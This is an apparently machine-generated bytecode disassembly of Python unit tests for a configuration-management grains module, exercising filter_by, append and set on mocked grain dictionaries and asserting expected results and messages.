BUILD_CONST_KEY_MAP BUILD_MAP LOAD_CONST ('A', 'MockedOS') BUILD_CONST_KEY_MAP STORE_FAST dict1 LOAD_GLOBAL grainsmod LOAD_METHOD filter_by LOAD_FAST dict1 CALL_METHOD STORE_FAST res LOAD_FAST res LOAD_CONST 'D' LOAD_CONST 'F' LOAD_CONST 'H' LOAD_CONST ('E', 'G') BUILD_CONST_KEY_MAP BUILD_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR filter_by LOAD_FAST dict1 LOAD_CONST 'A' LOAD_CONST ('default',) CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_CONST 'D' LOAD_CONST 'F' LOAD_CONST 'H' LOAD_CONST ('E', 'G') BUILD_CONST_KEY_MAP BUILD_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR filter_by LOAD_FAST dict1 LOAD_FAST mdict1 LOAD_CONST 'A' LOAD_CONST ('merge', 'default') CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_CONST 'I' LOAD_CONST 'H' LOAD_CONST ('E', 'G') BUILD_CONST_KEY_MAP LOAD_CONST 'K' LOAD_CONST ('D', 'J') BUILD_CONST_KEY_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'B' LOAD_CONST 'D' LOAD_CONST 'F' LOAD_CONST 'H' LOAD_CONST ('E', 'G') BUILD_CONST_KEY_MAP BUILD_MAP LOAD_CONST ('A', 'MockedOS') BUILD_CONST_KEY_MAP STORE_FAST dict1 LOAD_GLOBAL grainsmod LOAD_ATTR filter_by LOAD_FAST dict1 LOAD_FAST mdict1 LOAD_CONST 'Z' LOAD_CONST ('merge', 'default') CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_CONST 'I' LOAD_CONST 'H' LOAD_CONST ('E', 'G') BUILD_CONST_KEY_MAP LOAD_CONST 'K' LOAD_CONST ('D', 'J') BUILD_CONST_KEY_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'B' LOAD_CONST 'D' LOAD_CONST 'F' LOAD_CONST 'H' LOAD_CONST ('E', 'G') BUILD_CONST_KEY_MAP BUILD_MAP LOAD_CONST ('A', 'MockedOS') BUILD_CONST_KEY_MAP STORE_FAST dict1 LOAD_GLOBAL grainsmod LOAD_ATTR filter_by LOAD_FAST dict1 LOAD_CONST 'Z' LOAD_CONST ('default',) CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_CONST 'D' LOAD_CONST 'F' LOAD_CONST 'H' LOAD_CONST ('E', 'G') BUILD_CONST_KEY_MAP BUILD_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'B' LOAD_CONST 'D' LOAD_CONST 'F' LOAD_CONST 'H' LOAD_CONST ('E', 'G') BUILD_CONST_KEY_MAP BUILD_MAP LOAD_CONST ('A', 'C') BUILD_CONST_KEY_MAP STORE_FAST dict1 LOAD_GLOBAL grainsmod LOAD_ATTR filter_by LOAD_FAST dict1 LOAD_CONST 'roles' LOAD_CONST 'C' LOAD_CONST ('grain', 'default') CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_CONST 'B' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'B' LOAD_CONST 'D' LOAD_CONST 'F' LOAD_CONST 'H' LOAD_CONST ('E', 'G') BUILD_CONST_KEY_MAP BUILD_MAP LOAD_CONST ('Z', 'C') BUILD_CONST_KEY_MAP STORE_FAST dict1 LOAD_GLOBAL grainsmod LOAD_ATTR filter_by LOAD_FAST dict1 LOAD_CONST 'roles' LOAD_CONST 'C' LOAD_CONST ('grain', 'default') CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_CONST 'D' LOAD_CONST 'F' LOAD_CONST 'H' LOAD_CONST ('E', 'G') BUILD_CONST_KEY_MAP BUILD_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'B' LOAD_CONST 'D' LOAD_CONST 'F' LOAD_CONST 'H' LOAD_CONST ('E', 'G') BUILD_CONST_KEY_MAP BUILD_MAP LOAD_CONST ('*OS', 'C') BUILD_CONST_KEY_MAP STORE_FAST dict1 LOAD_GLOBAL grainsmod LOAD_METHOD filter_by LOAD_FAST dict1 CALL_METHOD STORE_FAST res LOAD_FAST res LOAD_CONST 'B' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 2 LOAD_CONST 4 LOAD_CONST 5 BUILD_MAP LOAD_CONST 'B' LOAD_CONST (1, 3, '*OS') BUILD_CONST_KEY_MAP STORE_FAST dict1 LOAD_GLOBAL grainsmod LOAD_METHOD filter_by LOAD_FAST dict1 CALL_METHOD STORE_FAST res LOAD_FAST res LOAD_CONST 'B' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'B' LOAD_CONST 'D' LOAD_CONST 'F' LOAD_CONST 'H' LOAD_CONST ('E', 'G') BUILD_CONST_KEY_MAP BUILD_MAP LOAD_CONST ('Z', '[BC]') BUILD_CONST_KEY_MAP STORE_FAST dict1 LOAD_GLOBAL grainsmod LOAD_ATTR filter_by LOAD_FAST dict1 LOAD_CONST 'roles' LOAD_CONST 'Z' LOAD_CONST ('grain', 'default') CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_CONST 'D' LOAD_CONST 'F' LOAD_CONST 'H' LOAD_CONST ('E', 'G') BUILD_CONST_KEY_MAP BUILD_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR filter_by LOAD_FAST dict2 LOAD_CONST 'xxx' LOAD_CONST 'xxx' LOAD_CONST 'default' LOAD_CONST ('grain', 'default', 'base') CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_FAST dict2 LOAD_CONST 'default' BINARY_SUBSCR COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR filter_by LOAD_FAST dict2 LOAD_CONST 'xxx' LOAD_CONST 'default' LOAD_CONST ('default', 'base') CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_GLOBAL dictupdate LOAD_METHOD update LOAD_GLOBAL copy LOAD_METHOD deepcopy LOAD_FAST dict2 LOAD_CONST 'default' BINARY_SUBSCR CALL_METHOD LOAD_FAST dict2 LOAD_CONST 'MockedOS' BINARY_SUBSCR CALL_METHOD COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR filter_by LOAD_FAST dict2 LOAD_CONST 'xxx' LOAD_CONST 'default' LOAD_CONST ('grain', 'base') CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_FAST dict2 LOAD_CONST 'default' BINARY_SUBSCR COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR filter_by LOAD_FAST dict2 LOAD_CONST '1' LOAD_CONST 'default' LOAD_CONST ('grain', 'base') CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_GLOBAL dictupdate LOAD_METHOD update LOAD_GLOBAL copy LOAD_METHOD deepcopy LOAD_FAST dict2 LOAD_CONST 'default' BINARY_SUBSCR CALL_METHOD LOAD_FAST dict2 LOAD_CONST '1' BINARY_SUBSCR CALL_METHOD COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR filter_by LOAD_FAST dict2 LOAD_CONST 'default' LOAD_FAST mdict2 LOAD_CONST ('base', 'merge') CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_GLOBAL dictupdate LOAD_METHOD update LOAD_GLOBAL dictupdate LOAD_METHOD update LOAD_GLOBAL copy LOAD_METHOD deepcopy LOAD_FAST dict2 LOAD_CONST 'default' BINARY_SUBSCR CALL_METHOD LOAD_FAST dict2 LOAD_CONST 'MockedOS' BINARY_SUBSCR CALL_METHOD LOAD_FAST mdict2 CALL_METHOD COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR filter_by LOAD_FAST dict2 LOAD_CONST 'default' LOAD_FAST mdict3 LOAD_CONST ('base', 'merge') CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_GLOBAL dictupdate LOAD_METHOD update LOAD_GLOBAL dictupdate LOAD_METHOD update LOAD_GLOBAL copy LOAD_METHOD deepcopy LOAD_FAST dict2 LOAD_CONST 'default' BINARY_SUBSCR CALL_METHOD LOAD_FAST dict2 LOAD_CONST 'MockedOS' BINARY_SUBSCR CALL_METHOD LOAD_FAST mdict3 CALL_METHOD COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'b' LOAD_CONST 'bval' BUILD_MAP CALL_METHOD SETUP_WITH to 146 POP_TOP LOAD_GLOBAL grainsmod LOAD_METHOD append LOAD_CONST 'b' LOAD_CONST 'd' CALL_METHOD STORE_FAST res LOAD_FAST res LOAD_CONST 'The key b is not a valid list' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'b' LOAD_CONST 'bval' BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'b' LOAD_CONST 'b1' LOAD_CONST 'bval1' BUILD_MAP BUILD_MAP CALL_METHOD SETUP_WITH to 136 POP_TOP LOAD_GLOBAL grainsmod LOAD_METHOD append LOAD_CONST 'b' LOAD_CONST 'd' CALL_METHOD STORE_FAST res LOAD_FAST res LOAD_CONST 'The key b is not a valid list' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'b' LOAD_CONST 'b1' LOAD_CONST 'bval1' BUILD_MAP BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'a' LOAD_CONST 'b' LOAD_CONST 'c' BUILD_LIST LOAD_CONST 'bval' LOAD_CONST ('a_list', 'b') BUILD_CONST_KEY_MAP CALL_METHOD SETUP_WITH to 82 POP_TOP LOAD_GLOBAL grainsmod LOAD_METHOD append LOAD_CONST 'a_list' LOAD_CONST 'b' CALL_METHOD STORE_FAST res LOAD_FAST res LOAD_CONST 'The val b was already in the list a_list' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'a' LOAD_CONST 'b' LOAD_CONST 'c' BUILD_LIST LOAD_CONST 'bval' LOAD_CONST ('a_list', 'b') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'a' LOAD_CONST 'b' LOAD_CONST 'c' BUILD_LIST LOAD_CONST 'bval' LOAD_CONST ('a_list', 'b') BUILD_CONST_KEY_MAP CALL_METHOD SETUP_WITH to 96 POP_TOP LOAD_GLOBAL grainsmod LOAD_METHOD append LOAD_CONST 'a_list' LOAD_CONST 'd' CALL_METHOD STORE_FAST res LOAD_FAST res LOAD_CONST 'a_list' LOAD_CONST 'a' LOAD_CONST 'b' LOAD_CONST 'c' LOAD_CONST 'd' BUILD_LIST BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'a' LOAD_CONST 'b' LOAD_CONST 'c' LOAD_CONST 'd' BUILD_LIST LOAD_CONST 'bval' LOAD_CONST ('a_list', 'b') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'b' LOAD_CONST 'bval' BUILD_MAP CALL_METHOD SETUP_WITH to 178 POP_TOP LOAD_GLOBAL grainsmod LOAD_METHOD append LOAD_CONST 'a_list' LOAD_CONST 'd' CALL_METHOD STORE_FAST res LOAD_FAST res LOAD_CONST 'a_list' LOAD_CONST 'd' BUILD_LIST BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'd' BUILD_LIST LOAD_CONST 'bval' LOAD_CONST ('a_list', 'b') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'b' LOAD_CONST 'bval' BUILD_MAP CALL_METHOD SETUP_WITH to 268 POP_TOP LOAD_GLOBAL grainsmod LOAD_ATTR append LOAD_CONST 'b' LOAD_CONST 'd' LOAD_CONST True LOAD_CONST ('convert',) CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_CONST 'b' LOAD_CONST 'bval' LOAD_CONST 'd' BUILD_LIST BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'b' LOAD_CONST 'bval' LOAD_CONST 'd' BUILD_LIST BUILD_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'b' LOAD_CONST 'b1' LOAD_CONST 'bval1' BUILD_MAP BUILD_MAP CALL_METHOD SETUP_WITH to 372 POP_TOP LOAD_GLOBAL grainsmod LOAD_ATTR append LOAD_CONST 'b' LOAD_CONST 'd' LOAD_CONST True LOAD_CONST ('convert',) CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_CONST 'b' LOAD_CONST 'b1' LOAD_CONST 'bval1' BUILD_MAP LOAD_CONST 'd' BUILD_LIST BUILD_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'b' LOAD_CONST 'b1' LOAD_CONST 'bval1' BUILD_MAP LOAD_CONST 'd' BUILD_LIST BUILD_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'a' LOAD_CONST 'b' LOAD_CONST 'bval' BUILD_MAP BUILD_MAP CALL_METHOD SETUP_WITH to 74 POP_TOP LOAD_GLOBAL grainsmod LOAD_METHOD append LOAD_CONST 'a:b' LOAD_CONST 'd' CALL_METHOD STORE_FAST res LOAD_FAST res LOAD_CONST 'The key a:b is not a valid list' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'a' LOAD_CONST 'b' LOAD_CONST 'bval' BUILD_MAP BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'a' LOAD_CONST 'b' LOAD_CONST 'b1' LOAD_CONST 'bval1' BUILD_MAP BUILD_MAP BUILD_MAP CALL_METHOD SETUP_WITH to 162 POP_TOP LOAD_GLOBAL grainsmod LOAD_METHOD append LOAD_CONST 'a:b' LOAD_CONST 'd' CALL_METHOD STORE_FAST res LOAD_FAST res LOAD_CONST 'The key a:b is not a valid list' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'a' LOAD_CONST 'b' LOAD_CONST 'b1' LOAD_CONST 'bval1' BUILD_MAP BUILD_MAP BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'a' LOAD_CONST 'a' LOAD_CONST 'b' LOAD_CONST 'c' BUILD_LIST LOAD_CONST 'bval' LOAD_CONST ('a_list', 'b') BUILD_CONST_KEY_MAP BUILD_MAP CALL_METHOD SETUP_WITH to 90 POP_TOP LOAD_GLOBAL grainsmod LOAD_METHOD append LOAD_CONST 'a:a_list' LOAD_CONST 'b' CALL_METHOD STORE_FAST res LOAD_FAST res LOAD_CONST 'The val b was already in the list a:a_list' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'a' LOAD_CONST 'a' LOAD_CONST 'b' LOAD_CONST 'c' BUILD_LIST LOAD_CONST 'bval' LOAD_CONST ('a_list', 'b') BUILD_CONST_KEY_MAP BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'a' LOAD_CONST 'a' LOAD_CONST 'b' LOAD_CONST 'c' BUILD_LIST LOAD_CONST 'bval' LOAD_CONST ('a_list', 'b') BUILD_CONST_KEY_MAP BUILD_MAP CALL_METHOD SETUP_WITH to 110 POP_TOP LOAD_GLOBAL grainsmod LOAD_METHOD append LOAD_CONST 'a:a_list' LOAD_CONST 'd' CALL_METHOD STORE_FAST res LOAD_FAST res LOAD_CONST 'a' LOAD_CONST 'a' LOAD_CONST 'b' LOAD_CONST 'c' LOAD_CONST 'd' BUILD_LIST LOAD_CONST 'bval' LOAD_CONST ('a_list', 'b') BUILD_CONST_KEY_MAP BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'a' LOAD_CONST 'a' LOAD_CONST 'b' LOAD_CONST 'c' LOAD_CONST 'd' BUILD_LIST LOAD_CONST 'bval' LOAD_CONST ('a_list', 'b') BUILD_CONST_KEY_MAP BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'a' LOAD_CONST 'b' LOAD_CONST 'bval' BUILD_MAP BUILD_MAP CALL_METHOD SETUP_WITH to 206 POP_TOP LOAD_GLOBAL grainsmod LOAD_METHOD append LOAD_CONST 'a:a_list' LOAD_CONST 'd' CALL_METHOD STORE_FAST res LOAD_FAST res LOAD_CONST 'a' LOAD_CONST 'd' BUILD_LIST LOAD_CONST 'bval' LOAD_CONST ('a_list', 'b') BUILD_CONST_KEY_MAP BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'a' LOAD_CONST 'd' BUILD_LIST LOAD_CONST 'bval' LOAD_CONST ('a_list', 'b') BUILD_CONST_KEY_MAP BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'a' LOAD_CONST 'b' LOAD_CONST 'bval' BUILD_MAP BUILD_MAP CALL_METHOD SETUP_WITH to 310 POP_TOP LOAD_GLOBAL grainsmod LOAD_ATTR append LOAD_CONST 'a:b' LOAD_CONST 'd' LOAD_CONST True LOAD_CONST ('convert',) CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_CONST 'a' LOAD_CONST 'b' LOAD_CONST 'bval' LOAD_CONST 'd' BUILD_LIST BUILD_MAP BUILD_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'a' LOAD_CONST 'b' LOAD_CONST 'bval' LOAD_CONST 'd' BUILD_LIST BUILD_MAP BUILD_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'a' LOAD_CONST 'b' LOAD_CONST 'b1' LOAD_CONST 'bval1' BUILD_MAP BUILD_MAP BUILD_MAP CALL_METHOD SETUP_WITH to 426 POP_TOP LOAD_GLOBAL grainsmod LOAD_ATTR append LOAD_CONST 'a:b' LOAD_CONST 'd' LOAD_CONST True LOAD_CONST ('convert',) CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_CONST 'a' LOAD_CONST 'b' LOAD_CONST 'b1' LOAD_CONST 'bval1' BUILD_MAP LOAD_CONST 'd' BUILD_LIST BUILD_MAP BUILD_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'a' LOAD_CONST 'b' LOAD_CONST 'b1' LOAD_CONST 'bval1' BUILD_MAP LOAD_CONST 'd' BUILD_LIST BUILD_MAP BUILD_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'a' LOAD_CONST 'b' LOAD_CONST 'c' BUILD_LIST BUILD_MAP CALL_METHOD SETUP_WITH to 82 POP_TOP LOAD_GLOBAL grainsmod LOAD_METHOD append LOAD_CONST 'a:b' LOAD_CONST 'd' CALL_METHOD STORE_FAST res LOAD_FAST res LOAD_CONST 'a' LOAD_CONST 'b' LOAD_CONST 'c' BUILD_LIST BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'a' LOAD_CONST 'b' LOAD_CONST 'c' BUILD_LIST BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 12 LOAD_CONST 8 LOAD_CONST ('a', 'c') BUILD_CONST_KEY_MAP CALL_METHOD SETUP_WITH to 86 POP_TOP LOAD_GLOBAL grainsmod LOAD_METHOD set LOAD_CONST 'a' LOAD_CONST 12 CALL_METHOD STORE_FAST res LOAD_FAST res LOAD_CONST 'result' BINARY_SUBSCR POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res LOAD_CONST 'comment' BINARY_SUBSCR LOAD_CONST 'Grain is already set' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 12 LOAD_CONST 8 LOAD_CONST ('a', 'c') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'item' LOAD_CONST 12 BUILD_LIST LOAD_CONST 8 LOAD_CONST ('a', 'c') BUILD_CONST_KEY_MAP CALL_METHOD SETUP_WITH to 190 POP_TOP LOAD_GLOBAL grainsmod LOAD_METHOD set LOAD_CONST 'a' LOAD_CONST 'item' LOAD_CONST 12 BUILD_LIST CALL_METHOD STORE_FAST res LOAD_FAST res LOAD_CONST 'result' BINARY_SUBSCR POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res LOAD_CONST 'comment' BINARY_SUBSCR LOAD_CONST 'Grain is already set' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'item' LOAD_CONST 12 BUILD_LIST LOAD_CONST 8 LOAD_CONST ('a', 'c') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 'nested' LOAD_CONST 'val' BUILD_MAP LOAD_CONST 8 LOAD_CONST ('a', 'b', 'c') BUILD_CONST_KEY_MAP CALL_METHOD SETUP_WITH to 302 POP_TOP LOAD_GLOBAL grainsmod LOAD_ATTR set LOAD_CONST 'b,nested' LOAD_CONST 'val' LOAD_CONST ',' LOAD_CONST ('delimiter',) CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_CONST 'result' BINARY_SUBSCR POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res LOAD_CONST 'comment' BINARY_SUBSCR LOAD_CONST 'Grain is already set' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 'nested' LOAD_CONST 'val' BUILD_MAP LOAD_CONST 8 LOAD_CONST ('a', 'b', 'c') 